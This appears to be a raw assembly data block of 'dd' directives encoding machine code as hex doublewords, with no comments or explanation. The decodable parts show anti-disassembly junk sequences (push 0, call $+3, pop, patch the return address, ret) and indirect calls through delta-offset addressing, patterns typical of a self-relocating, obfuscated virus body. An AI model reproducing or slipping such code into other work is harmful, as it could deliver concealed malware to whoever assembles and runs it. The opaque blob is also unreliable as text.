		dd 7FD8AAFh, 53006A50h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0C42C4153h, 0BD89CF7Ah, 7FA344Dh
		dd 28DDBD89h, 95FF07FAh, 7FA3345h, 6820Fh, 8D890000h, 7FA19CDh
		dd 6A0CC483h, 806800h, 36A0000h, 6A006Ah, 68h, 0AF858D80h
		dd 5007FD8Ah, 4B195FFh,	858907FAh, 7FD93BFh, 157185C6h
		dd 684707FAh, 0C7B15E87h, 1229B5FFh, 858D07FAh,	7FA3B93h
		dd 6AD0FFh, 93BFB5FFh, 0D0FF07FDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0A0C35747h,	0D1BF0FC3h, 37D03Dh
		dd 43830F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0FA2DC357h,	26968E6Dh
		dd 7CAD41E2h, 93BFB5FFh, 0BD2B07FDh, 7FA31B5h, 1EB195FFh
		dd 958B07FAh, 7FA3441h,	109E9h,	0B5FFFC00h, 7FD93BFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 26269204h
		dd 66973BF2h, 95FFCE8Bh, 7FA1EB1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 8CC35545h, 96C9D9ADh, 0BF70903Fh
		dd 717FA628h, 0B70F006Ah, 8A006AD7h, 0BD8B60D4h, 7FA06E9h
		dd 0F22CF681h, 6A613872h, 32EF8100h, 6A3B3171h,	0D9816600h
		dd 6A0CFEh, 89C18166h, 60006A5Dh, 58E28166h, 0C28B6616h
		dd 0C3858D61h, 6A07FD93h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 5192C350h, 0F1723DBBh
		dd 0E851F219h, 0Dh, 0EB093ED9h,	75EAA7F8h, 79DCA871h, 890F5Dh
		dd 59000000h, 870F505Ah, 0Ah, 5E9h, 9AE08200h, 95FF2887h
		dd 7FA04B1h, 9AD8D29h, 0F18107FAh, 28A81CCEh, 0FFFF883h
		dd 0F085h, 8B8FBA00h, 858D2ED2h, 7FD4E93h, 2B0D8D89h, 0D0FF07FAh
		dd 55C918B9h, 8B006A62h, 0FA10C58Dh, 1006A07h, 0FA19FD8Dh
		dd 6A006A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0BC29C353h, 0E2044755h, 11958BE7h
		dd 6A07FA15h, 0CE8B6600h, 8B60006Ah, 0FA0D018Dh, 0A9B52907h
		dd 6107FA25h, 9E9006Ah,	0DD000000h, 8354E783h, 0F9096CCCh
		dd 93C3858Dh, 0BF6607FDh, 8B506AA4h, 0FA03F995h, 0B195FF07h
		dd 8B07FA04h, 0FFF883D6h, 57850Fh, 22BA0000h, 8D031FF2h
		dd 0FD8DCBB5h, 0DF816607h, 858D0A99h, 7FD38D0h,	14E8h
		dd 1E69F400h, 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh
		dd 5AF7B2A2h, 0BD89D0FFh, 7FA13F9h, 2DE58D8Bh, 6A07FAh
		dd 6810Fh, 0BD090000h, 7FA2E35h, 1C0D95FFh, 0CD8007FAh
		dd 0BF8589B6h, 0F807FD93h, 95BD8950h, 5F07FA32h, 0C981006Ah
		dd 11C7D563h, 93B7858Dh, 0E95007FDh, 14h, 6739D1DEh, 0DB30AD4Dh
		dd 0B45155DEh, 22B52220h, 4CF594F8h, 0B509505Fh, 7FA14C5h
		dd 6AC8B70Fh, 0DF816604h, 0CA8B139Dh, 136D858Dh, 880F07FAh
		dd 1Ah,	0FE8h, 0BD8C400h, 306AC1D6h, 34D9CE5Eh,	233FDF19h
		dd 0BCE78166h, 6650592Ch, 6AF98Bh, 0A1BD8B52h, 5F07FA25h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 711324C3h, 7D8D8B7Eh, 6A07FA18h, 0D7816601h
		dd 0B5FFE1B0h, 7FD93BFh, 1A9D958Bh, 7E907FAh, 0B5000000h
		dd 0EC400B2h, 95FF2119h, 7FA05A1h, 1CAAE9h, 0A4D28000h
		dd 66F5C08Bh, 0BD83F98Bh, 7FA16D1h, 83097500h, 0FA3535BDh
		dd 19740007h, 0C08B5350h, 7D2B8h, 2D858900h, 8D07FA1Eh
		dd 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h, 7FA35h, 53501774h
		dd 7D2B8h, 2D858900h, 8D07FA1Eh, 0FD3CC99Dh, 5BD3FF07h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0E7D4E15Dh, 1701958Bh, 6E907FAh,	9000000h
		dd 0FBA081C4h, 89C08B3Bh, 0FA01A9BDh, 0C736B207h, 0FA27AD85h
		dd 107h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 1830D41Ch, 0B868DFDDh, 0FFCEE4E7h
		dd 0FA1F3DB5h, 93858D07h, 0FF07FA3Bh, 2D8589D0h, 8D07FA15h
		dd 0FD961B85h, 858D5007h, 7FD98D8h, 16850h, 95FF8000h
		dd 7FA152Dh, 0A75C00Bh,	278185C7h, 107FAh, 0D4680000h
		dd 0FFC005DBh, 0FA1F3DB5h, 93858D07h, 0FF07FA3Bh, 358589D0h
		dd 8D07FA33h, 0FD886885h, 0B5FF5007h, 7FA1229h,	2E195FFh
		dd 0C00B07FAh, 0D88B0B74h, 981B858Dh, 0FF5007FDh, 1B858DD3h
		dd 6607FD98h, 75093883h, 6985C70Ah, 107FA35h, 0FF000000h
		dd 0FA017995h, 0FF2507h, 0F8830000h, 0C70A7305h, 0FA11B585h
		dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0A2421BFAh, 9D099EDEh, 7FA2B05h
		dd 359529F8h, 8007FA21h, 0FD942ABDh, 840F0007h,	14h, 5DD8589h
		dd 0BD8307FAh, 7FD98D4h, 18840F00h, 0F8000000h,	1AF2E9h
		dd 59952900h, 0F07FA13h, 681h, 158D8B00h, 8307FA17h, 0FA3569BDh
		dd 850F0007h, 8Ah, 1E318D89h, 858D07FAh, 7FD93F4h, 503BF180h
		dd 0D8E18166h, 0F016A2Fh, 688h,	0A9858900h, 0E907FA07h
		dd 12h,	8B586D34h, 0B85D627h, 0A449C6EDh, 0AAE07272h, 6A2541h
		dd 6AFEB70Fh, 5E900h, 39420000h, 0FFB9AE32h
		dd 0FA0BA995h, 0CF816607h, 8589CC45h, 7FA1A25h,	941E8589h
		dd 5E807FDh, 0D000000h,	59C8B827h, 81FF6A5Ah, 445C8AC7h
		dd 1EB5FF20h, 8907FD94h, 0FA2161BDh, 8D95FF07h,	6607FA01h
		dd 858DC88Bh, 7FD882Fh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0BAC35141h, 0D148A11h, 0DF816653h, 0F501438h
		dd 686h, 0C1BD0300h, 8107FA11h,	393039D7h, 0A995FF12h
		dd 8907FA1Bh, 0FA0BBDBDh, 0B9858907h, 8B07FD88h, 0FA11B195h
		dd 3C858D07h, 8907FD88h, 0FA209985h, 0F890F07h,	0E9000000h
		dd 0Ah,	3A604BCBh, 8B7A489Ch, 6A5013F9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EB8FC353h
		dd 0FEFBF56h, 6E820B6h,	68000000h, 0E47E1215h, 4DB58980h
		dd 5F07FA21h, 88B9B5FFh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0D11C72C3h, 0C2B28F4Fh
		dd 0BD2BD3E1h, 7FA1A9Dh, 2E195FFh, 0BD8B07FAh, 7FA05F5h
		dd 0B958589h, 0BD0907FAh, 7FA2AF1h, 88AA858Dh, 0B58907FDh
		dd 7FA0BB1h, 58F18050h,	88B9B5FFh, 6A07FDh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8B66DCC3h
		dd 0E195FFFEh, 0F07FA02h, 89h, 0F8B70F00h, 88CD8589h, 11E807FDh
		dd 0BC000000h, 0BFD0E3AEh, 0E380FE38h, 0AAA40182h, 92CB96FDh
		dd 89858D5Fh, 6607FD88h, 502D68B9h, 33419531h, 0B5FF07FAh
		dd 7FD88B9h, 0D5958B52h, 5A07FA1Eh, 2E195FFh, 12E907FAh
		dd 32000000h, 0AFC3563Ah, 7638872Ah, 0ED5926Dh,	843825D8h
		dd 0C58589EFh, 8B07FD88h, 0FA1CD1BDh, 7C858D07h, 8B07FD88h
		dd 0FA21A58Dh, 50D38B07h, 0B9B5FFF9h, 0E907FD88h, 7, 0C33FBFADh
		dd 66B49C66h, 0FF37ACB9h, 0FA02E195h, 14E907h, 977D0000h
		dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	85899ED4h
		dd 7FD88C9h, 816698B1h,	8D755AE7h, 0FD889785h, 0CE907h
		dd 0F98C0000h, 0EE2D55Eh, 9141DE2Fh, 8BF4191h, 5024E80Ah
		dd 2D59BD8Bh, 0B5FF07FAh, 7FD88B9h, 6870Fh, 85890000h
		dd 7FA1529h, 31A1B589h,	95FF07FAh, 7FA02E1h, 16C18589h
		dd 9E807FAh, 96000000h,	9AB1FC0Ch, 0F83472FEh, 0AA42EF81h
		dd 8D5A06F5h, 0FD884B85h, 0E950FC07h, 7, 91623F18h, 0FFA03ACCh
		dd 0FD88B9B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0AE89E967h, 0BA662C86h
		dd 95FF8159h, 7FA02E1h,	90B5F781h, 85897637h, 7FD88BDh
		dd 2B9D9529h, 858D07FAh, 7FD885Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 16C35141h, 9D9D2950h, 0FF07FA24h
		dd 0FD88B9B5h, 0FF5F5307h, 0FA02E195h, 58DEBF07h, 8589323Bh
		dd 7FD88C1h, 26DDB589h,	46807FAh, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 50A5C353h, 44D2059Eh, 321EBF26h, 0BF505B08h,	8B13D81h
		dd 51858D59h, 6A07FD89h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 198FC353h, 0DC76D9B0h
		dd 0F585010Fh, 5007FA11h, 0BE8h, 7BE7F000h, 0B21FFC52h
		dd 0D159C7B2h, 15558D0Bh, 8D5A07FAh, 0FD8A5585h, 18C0F07h
		dd 0F9000000h, 830F5150h, 3, 59D7BF0Fh,	154595FFh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 459B75C3h, 0B15967D5h, 8D8B7A2Dh, 7FA1B79h, 850FC085h
		dd 0Ch,	2F98D8Bh, 858907FAh, 7FA2629h, 942ABD80h, 0F0007FDh
		dd 3885h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 98F42096h, 661F49C3h, 0E18D781h
		dd 164EE9h, 6830F00h, 23000000h, 0FA0909BDh, 69BD8307h
		dd 7FA35h, 49850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 546308C3h, 1845A1Fh
		dd 3BB2D856h, 98D4BD83h, 0F0007FDh, 7784h, 0CE900h, 0D250000h
		dd 0EFACF9DAh, 414662B2h, 81663AA9h, 8DD5DFC9h,	0FD88EE85h
		dd 0DE907h, 0B7700000h,	3C44E0CCh, 0A0789077h, 0E9153688h
		dd 15CFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	64C35242h, 0DE9h, 3DD53B00h, 3A28817Ch,	0A89E7D14h
		dd 29E9C083h, 0F000000h, 888h, 2850F00h, 0B1000000h, 0CE8B6684h
		dd 88D9858Dh, 0DE907FDh, 6000000h, 3C978420h, 0F2D0E058h
		dd 47A8F2B5h, 0BE850h, 0AB3B0000h, 0BFB80495h, 8951F090h
		dd 0F8B70F26h, 51858D59h, 0F07FD89h, 1886h, 13E900h, 0D7BE0000h
		dd 3D4D77EFh, 0DBADE6A4h, 4B2A4BA5h, 0C56CA861h, 0CF816642h
		dd 0E950A0E0h, 9, 0E0F27D60h, 0E048722Ah, 69BD8320h, 7FA35h
		dd 52840Fh, 81B60000h, 8A77858Dh, 6A07FDh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 366A97C3h
		dd 81852953h, 5F07FA1Eh, 27E9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0CE8A7B2Ah
		dd 8A60858Dh, 8FB107FDh, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0CDEE79FFh, 0ABD4755Fh
		dd 7E9FCh, 11C0000h, 994230BEh,	0AF858DDFh, 8907FD8Ah
		dd 0FA042995h, 95FF5007h, 7FA3345h, 0F8B70F50h,	10C4835Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 92C35646h
		dd 0AA8F3780h, 7D1E96B6h, 0E9C08BFCh, 12h, 11F0D00Eh, 7D8A4060h
		dd 0B596CF64h, 20AC9CBEh, 0BD83322Ah, 7FA16D1h,	83097500h
		dd 0FA3535BDh, 19740007h, 0C08B5350h, 7D3B8h, 2D858900h
		dd 8D07FA1Eh, 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h,	7FA35h
		dd 53501774h, 7D3B8h, 2D858900h, 8D07FA1Eh, 0FD3CC99Dh
		dd 5BD3FF07h, 0CCB96658h, 21B531F3h, 8B07FA02h,	810F60C0h
		dd 6, 0B89B589h, 0C98107FAh, 4F48E88Eh,	0D9BD8161h, 6F07FD88h
		dd 0F616572h, 0DA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5B7CEF16h, 61E78A60h
		dd 8951858Dh, 8D5007FDh, 0FD8A8E85h, 858D5007h,	7FD8AAFh
		dd 4595FF50h, 8307FA33h, 85C60CC4h, 7FA1571h, 184F6844h
		dd 0B5FF96A3h, 7FA1229h, 3B93858Dh, 0D0FF07FAh,	858DD88Bh
		dd 7FD8AAFh, 8DD3FF50h,	0FD88D985h, 858D5007h, 7FD8951h
		dd 69BD8350h, 7FA35h, 858D0874h, 7FD8A77h, 858D06EBh, 7FD8A60h
		dd 0AF858D50h, 5007FD8Ah, 334595FFh, 0C48307FAh, 57006A10h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0F9B70FB2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	28C35646h, 0FF6D1EC6h, 0FA017995h, 0FF2507h, 0C6B20000h
		dd 1B69B589h, 0F88307FAh, 4B830F05h, 29000000h,	0FA044DBDh
		dd 0B585C707h, 107FA11h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CE37C356h
		dd 0F6D064B0h, 5880Fh, 67BF0000h, 8D39E587h
		dd 0FD890D85h, 0E9CB8A07h, 89h,	0BD8378B6h, 7FA3569h, 50840F00h
		dd 0E8000000h, 5, 95EB6459h, 9D8D89C4h,	5F07FA02h, 8938858Dh
		dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 930779C3h, 80B51898h, 0E942D580h,	39h, 0AE9h
		dd 27357300h, 0B91A53D0h, 8D989FCBh, 0FD891A85h, 12E807h
		dd 22700000h, 818FF4E5h, 0EEB14879h, 9888F2D5h,	76BD4DF7h
		dd 68C0Fh, 8D310000h, 7FA19F5h,	4D858959h, 8B07FD89h, 0FA284195h
		dd 0FE907h, 19890000h, 8B6E6DDAh, 1456956Dh, 104B1BC9h
		dd 69BD833Dh, 7FA35h, 17850Fh, 0BA660000h, 0BD83524Eh
		dd 7FD98D4h, 3C840F00h,	89000000h, 0FA07D59Dh, 11A9E907h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0BDB48CC3h, 5B04AE17h, 9589D94Dh,	7FA2D41h
		dd 1860Fh, 0E9F80000h, 44Ch, 0C08BD38Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 97C35545h, 28B0FBDh
		dd 8B000000h, 0D1BD83CEh, 7FA16h, 0BD830975h, 7FA3535h
		dd 50197400h, 0B8C08B53h, 7D4h,	1E2D8589h, 9D8D07FAh, 7FD3FDAh
		dd 585BD3FFh, 3535BD83h, 740007FAh, 0B8535017h,	7D4h, 1E2D8589h
		dd 9D8D07FAh, 7FD3CC9h,	585BD3FFh, 0BD896BB2h, 7FA33D5h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0B47874C3h, 65E55DB9h, 3F684Ch, 9D89000Fh
		dd 7FA029Dh, 8830Fh, 31510000h,	0FA345985h, 6A5A07h, 1E71958Bh
		dd 6A07FAh, 0F98B6651h,	9595FF59h, 8907FA0Bh, 0FA1D3195h
		dd 0FC08507h, 685h, 0BD8D0100h,	8907FA21h, 0FD88D185h
		dd 0BEDA8107h, 6A3DFFE3h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 3BD170F2h
		dd 5F5B501h, 6A07FAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 19h, 0CAC35545h, 0A2727453h, 11E9AEh, 94100000h
		dd 3F155F2Dh, 45C10BD9h, 8779D693h, 6A541841h, 0F787BA00h
		dd 6A47B6h, 18499D89h, 6A07FAh,	69853150h, 5A07FA19h, 8AAF858Dh
		dd 0CE907FDh, 0D0000000h, 9D737D13h, 0C1087A9Fh, 50D13B24h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6DC35242h
		dd 5E9C9h, 0FD180000h, 6AF63F8Ch, 0E5952901h, 6A07FA07h
		dd 53006A01h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 17A7E30h, 0FA25B9B5h, 8DBD2907h,	6A07FA0Bh
		dd 0E9816601h, 0D180868Bh, 1FF68F0h, 8D29000Fh,	7FA25A1h
		dd 3569BD83h, 0F0007FAh, 3584h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E3E68226h
		dd 2E858D08h, 2307FD89h, 0FA1841BDh, 29E907h, 0BA660000h
		dd 858D9460h, 7FD8904h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0A0C35040h, 50F5E200h, 50FFB70Fh, 618D0152h
		dd 5A07FA21h, 1781BD23h, 0B5FF07FAh, 7FD88D1h, 2D958589h
		dd 95FF07FAh, 7FD88BDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 5C35040h, 93BB7F78h, 0EE99CCCh, 0C6000000h
		dd 88D4749Dh, 5D5B743Ah, 4FD093DFh, 0FC08594h, 0D85h, 0E9C88A00h
		dd 3Ah,	27019503h, 858907FAh, 7FD88D5h,	825BD8Bh, 0B5FF07FAh
		dd 7FD88D5h, 47CF8166h,	0C195FFFCh, 8907FA16h, 0FA017585h
		dd 3D9D8907h, 8507FA2Bh, 3850FC0h, 80000000h, 106AFCF5h
		dd 15A9958Bh, 0BD8307FAh, 7FA3569h, 47840F00h, 89000000h
		dd 0FA28A1B5h, 80B96607h, 2E858D3Dh, 6A07FD89h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E943C355h, 7, 0A438C5E2h, 6649F3B3h, 3C5DC181h, 10E9h
		dd 0E9816600h, 858D6019h, 7FD8904h, 0ABAE14BAh,	0BF0F5057h
		dd 0D1B5FFFBh, 0B907FD88h, 4660FFA4h, 88C995FFh, 8B0F07FDh
		dd 4, 5AC8BF66h, 850FC085h, 2Ch, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0DEC35545h,	4EC9A193h, 0EF816663h
		dd 958B2AB1h, 7FA1DBDh,	88D58589h, 6A07FDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6A2DC3h, 8F0BADBAh
		dd 0B2006A06h, 0D5B5FF90h, 6A07FD88h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B5EFC353h
		dd 950934CDh, 7FA2AFDh,	0CD1BD0Bh, 95FF07FAh, 7FD88C1h
		dd 0C0859BB1h, 3850Fh, 8B660000h, 0D5B5FFC8h, 6607FD88h
		dd 0FFD6C3B9h, 0FA16C195h, 418D8B07h, 107FA02h,	0FA013195h
		dd 0FC08507h, 385h, 0CFB70F00h,	870F006Ah, 6, 57A1C981h
		dd 8068495Eh, 0B000000h, 0FA082195h, 0FE907h, 0C9980000h
		dd 5C01CAE7h, 638D0D56h, 29A1F30Bh, 0E9036A89h,	10h, 3175AA4Ch
		dd 0AD5F7540h, 69A43E7Ah, 0FC473DEEh, 1C18D89h,	6A07FAh
		dd 7BCF8166h, 68006A5Ch, 0C0000000h, 0FE9h, 0A40C7E00h
		dd 0E0AC5C97h, 1E860064h, 0FB0CC3ADh, 894DB5FFh, 8D8B07FDh
		dd 7FA0A65h, 4B195FFh, 0BF0F07FAh, 0FFF883FFh, 555850Fh
		dd 11E90000h, 2C000000h, 0B41F2E01h, 0B0C73346h, 9AEA8A67h
		dd 2DB6B379h, 93BB85FFh, 0E85207FDh, 6,	810B1948h, 958BCEDDh
		dd 7FA1939h, 0BD835F59h, 7FD93BBh, 77840F02h, 60000003h
		dd 0CE8h, 0DB499700h, 0EF00C301h, 0CDE99386h, 799509A0h
		dd 5807FA03h, 4203BE50h, 61584F82h, 858DF5B5h, 5B243Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0DC35343h
		dd 0B589D0FFh, 7FA198Dh, 1E8E858Dh, 3AB1005Bh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 59CAAFC3h, 8137E17Eh, 0AD28A7D9h, 0E9C08B36h, 8, 0B0E26F53h
		dd 96609708h, 16D1BD83h, 750007FAh, 35BD8309h, 7FA35h
		dd 53501974h, 0D8B8C08Bh, 89000007h, 0FA1E2D85h, 0DA9D8D07h
		dd 0FF07FD3Fh, 83585BD3h, 0FA3535BDh, 17740007h, 0D8B85350h
		dd 89000007h, 0FA1E2D85h, 0C99D8D07h, 0FF07FD3Ch, 8B585BD3h
		dd 0FA13058Dh, 0FE18107h, 6A36F1C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 629BC353h
		dd 0F2415h, 8B2832BBh, 0CF8B66C0h, 0F003F68h, 258D8B00h
		dd 6A07FA09h, 1D9D8900h, 6A07FA29h, 15958B00h, 0FF07FA29h
		dd 0FA0B9595h, 0D2816607h, 295779E9h, 0FA1ECD9Dh, 0C0855907h
		dd 0CE9h, 0A287C400h, 0E44BFF71h, 0D35CECBFh, 0D18589B7h
		dd 6A07FD88h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0C782C352h, 14E91F69h,	0C1000000h
		dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 682D2356h
		dd 0F01FFh, 31E5958Bh, 0BD8307FAh, 7FA3569h, 5A840F00h
		dd 0BA000000h, 3D0E9901h, 892E858Dh, 6A07FDh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CD61D6C3h
		dd 0D9BD8928h, 0E907FA11h, 3Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B1C35545h
		dd 36D48AD1h, 8B8250F9h, 4858DD1h, 0E907FD89h, 0Ah, 2DBBE1DAh
		dd 14FDF02Ch, 8B50F42Eh, 0FA189995h, 0D1B5FF07h, 8907FD88h
		dd 0FA06E98Dh, 0C995FF07h, 8107FD88h, 7B56D9D9h, 79958B05h
		dd 8907FA2Bh, 0FD88D585h, 0C75F5107h, 0FA21C585h, 7, 0AE800h
		dd 2DE50000h, 330A4F26h, 5D7B884Bh, 29318D29h, 835F07FAh
		dd 0FD88D5BDh, 840F0007h, 102h,	9E860h,	0B5EB0000h, 1E34E871h
		dd 66ED6DB3h, 5850CDBEh, 8E9h, 0F1ADF400h, 3832ABA2h, 858D61FBh
		dd 7FD8BB3h, 28CD8D89h,	895007FAh, 0FA240D9Dh, 0F016A07h
		dd 0B5FFFAB7h, 7FD88D5h, 0FDC28166h, 0CD95FFD3h, 0E907FD88h
		dd 11h,	34BB029Bh, 934D45C3h, 0B0A0D01Eh, 23705426h, 0D5B5FF67h
		dd 8007FD88h, 8166B2E2h, 0FF6C99CAh, 0FA16C195h, 0AF47BF07h
		dd 0FF682EB7h, 66000F01h, 0CE4F781h, 3569BD83h,	0F0007FAh
		dd 2384h, 0D5E98100h, 8D60C3C9h, 0FD892E85h, 2DF18107h
		dd 120FF84h, 0FA07C995h, 0EE907h, 8D8B0000h, 7FA1939h
		dd 8904858Dh, 3FB607FDh, 0C9B70F50h, 88D1B5FFh,	0D78B07FDh
		dd 88C995FFh, 0CD8007FDh, 0D585892Ch, 0F807FD88h, 88D5B5FFh
		dd 8D8907FDh, 7FA18F9h,	88C595FFh, 0D18107FDh, 29D633DFh
		dd 88D5B5FFh, 0A0B207FDh, 16C195FFh, 0BA6607FAh, 7BE92BC1h
		dd 80FFFFF7h, 0B5FFC2F2h, 7FD941Eh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 7EC35242h, 0B70FCAC0h, 7D95FFCFh
		dd 2907FA17h, 0FA095985h, 0C5858B07h, 6A07FA11h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6070C355h, 0BE9h, 3C8C0C00h,	0D4375F7Fh, 28BEA9EDh
		dd 6150D680h, 67EE9h, 598D8B00h, 0F07FA13h, 108Dh, 0BE900h
		dd 549D0000h, 0FA1CADE1h, 87174CA6h, 0D3B58DDFh, 6A07FD8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0DB06C357h, 710FFBC4h, 0DD858952h, 5A07FA14h
		dd 38D0858Dh, 6A07FDh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0BAA22C3h, 0BF621578h, 5185899Ah
		dd 0F07FA31h, 18Ch, 0D0FFF800h,	0ED8D8B57h, 5F07FA12h
		dd 0E853006Ah, 0Dh, 0C92D4686h,	0ACBDD3A2h, 7ABAF0F3h
		dd 0C18166E5h, 5A5FD9EBh, 329D958Bh, 95FF07FAh,	7FA1C0Dh
		dd 1DED8D89h, 0BD8B07FAh, 7FA11A1h, 6AF38Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 98A1E0C3h
		dd 661CD9E6h, 1889067h,	0FA0289BDh, 0D0858D07h,	3107FD38h
		dd 0FA047D95h, 60D0FF07h, 531BD03h, 870F07FAh, 0Ch, 7E9h
		dd 0C7D40100h, 94E8F9Bh, 81006A61h, 0D4540DD1h,	0D95FF1Bh
		dd 8B07FA1Ch, 0FA2171BDh, 0D78B6007h, 1F6D8589h, 8B6107FAh
		dd 21BD31C0h, 6607FA1Fh, 832612BAh, 0FA16D1BDh,	9750007h
		dd 3535BD83h, 740007FAh, 8B535019h, 7D9B8C0h, 85890000h
		dd 7FA1E2Dh, 3FDA9D8Dh,	0D3FF07FDh, 0BD83585Bh,	7FA3535h
		dd 50177400h, 7D9B853h,	85890000h, 7FA1E2Dh, 3CC99D8Dh
		dd 0D3FF07FDh, 0BE9585Bh, 3E000000h, 8C90AB18h,	0C9280640h
		dd 958BD0D7h, 7FA0C65h,	0B550C08Bh, 89D88B6Bh, 0FA1151B5h
		dd 9D8D5307h, 7FA0B29h,	389038Bh, 8950438Bh, 9D8D5043h
		dd 7FD93B7h, 389038Bh, 0CBBF0F5Bh, 9958B50h, 5F07FA08h
		dd 6AD38Bh, 3860Fh, 0BF0F0000h,	0B7858DCFh, 8B07FD93h
		dd 0FA0CBD8Dh, 6A5007h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 9ED717C3h, 858D606Ah, 7FA0B29h
		dd 2D1D9D89h, 895007FAh, 0FA17059Dh, 33006A07h,	0FA1945BDh
		dd 31006A07h, 0FA09F1B5h, 18006807h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2C10B4C3h
		dd 0FFBF6D65h, 41BD8B89h, 5307FA11h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 9AC35040h, 7E16E63h, 11E9h
		dd 3E1EF900h, 0C6FE86E0h, 0DCD3B304h, 5E258EBAh, 95FFB829h
		dd 7FA05A1h, 3810Fh, 0B70F0000h, 0B195FFCBh, 6A07FA1Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9C0C355h, 7, 0FC50B333h, 0FF709E15h, 0FD941EB5h
